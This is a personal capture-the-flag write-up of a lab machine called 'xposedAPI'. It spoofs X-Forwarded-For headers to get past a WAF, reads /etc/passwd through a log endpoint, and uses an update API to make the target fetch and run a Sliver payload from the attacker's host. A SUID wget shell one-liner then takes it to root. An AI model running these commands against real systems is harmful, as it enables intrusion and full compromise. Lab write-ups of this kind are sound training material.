# xposedAPI - Writeup ## Enum ``` 22/tcp - ssh 13337/tcp - Gunicorn ``` ### Gunicorn server ``` http://192.168.188.134:13337/ ``` Contains a VERY convenient API documentation: ``` ### Usage: / Methods: GET Returns this page. /version Methods: GET Returns version of the app running. /update Methods: POST Updates the app using a linux executable. Content-Type: application/json {"user":"<user requesting the update>", "url":"<url of the update to download>"} /logs Methods: GET Read log files. /restart Methods: GET To request the restart of the app. ``` Can't seem to read `/logs` Let's mess around with `/update`, the linux executable thingy sounds like the way in: ```sh #!/bin/bash curl --header "Content-Type: application/json" \ --request POST \ --data '{"user":"root","url":"http://192.168.45.231:13337"}' \ http://192.168.188.134:13337/update ``` Yields a `Invalid username.` Question is whether we may use `ssh` to enumerate usernames? We should check for undocumented endpoints too :-) ``` ffuf -u http://$RHOST:13337/FUZZ -c -w /arsenal/wordlists/raft-medium-words.txt -mc 200,301,302 ``` Nothing new there. #### User name bruteforcing Or we can use [[FFUF]] to bruteforce usernames? ```sh #!/bin/bash ffuf -u http://$RHOST:1333/update \ -w /arsenal/wordlists/xato-net-10-million-usernames.txt \ -H "Content-Type: application/json" \ -X POST \ -d '{"user":"FUZZ","url":"http://192.168.45.231:13337"}' \ -fr "Invalid" ``` No love... :'-( Means we prolly gotta find a username through that `/logs` endpoint... May we get around the WAF stuff with some header fuckery?? ``` GET /logs HTTP/1.1 Host: 192.168.188.134:13337 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: keep-alive X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 ``` Returns ``` HTTP/1.1 404 NOT FOUND Server: gunicorn/20.0.4 Date: Mon, 31 Mar 2025 19:40:45 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 73 Error! No file specified. Use file=/path/to/log/file to access log files. ``` We can get around the WAF by appending some headers <3 Let's see if we can include files: ``` GET /logs?file=/etc/passwd HTTP/1.1 Host: 192.168.188.134:13337 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: keep-alive X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 ``` We can, it returns: ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/sh ``` We now have a username `clumsyadmin`. Perhaps we can get his `.ssh` keys? If we now run: ``` #!/bin/bash curl --header "Content-Type: application/json" \ --request POST \ --data '{"user":"clumsyadmin","url":"http://192.168.45.231:13337"}' \ http://192.168.188.134:13337/update ``` We receive a web request on our `nc` handler.... And if we do it with a a file server that serves a sliver payload... Well it appears to download the payload. After executing `/restart` we get a beacon back.... We're in <333 ## Privesc Upon executing `linpeas.sh` we discover a potentially vulnerable systemd service: ``` ╔══════════╣ Analyzing .service files ╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#services /etc/systemd/system/multi-user.target.wants/webapp.service could be executing some relative path /etc/systemd/system/webapp.service could be executing some relative path /home/clumsyadmin/webapp/._webapp.service ``` This just yields some weird output ``` ╔════════════════════════════════════╗ ══════════════════════╣ Files with Interesting Permissions ╠══════════════════════ ╚════════════════════════════════════╝ ╔══════════╣ SUID - Check easy privesc, exploits and write perms ╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid strace Not Found ... -rwsr-xr-x 1 root root 456K Apr 5 2019 /usr/bin/wget ... ``` From GTFObins: https://gtfobins.github.io/gtfobins/wget/ >If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges. This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path. ``` TF=$(mktemp) chmod +x $TF echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF ./wget --use-askpass=$TF 0 # whoami root # cd /root # ls proof.txt # cat proof.txt 78fe5446d560c92d93029e69dda9195e ``` ## TODO - UPD port scanning - Bruteforce moar - Check SSH user enumeraiton? - Try to bypass that WAF thingy to access log files... ## Lessons Learned - Got additional practice with FFUF. - Update [[Sensitive File Paths - Linux - TODO]]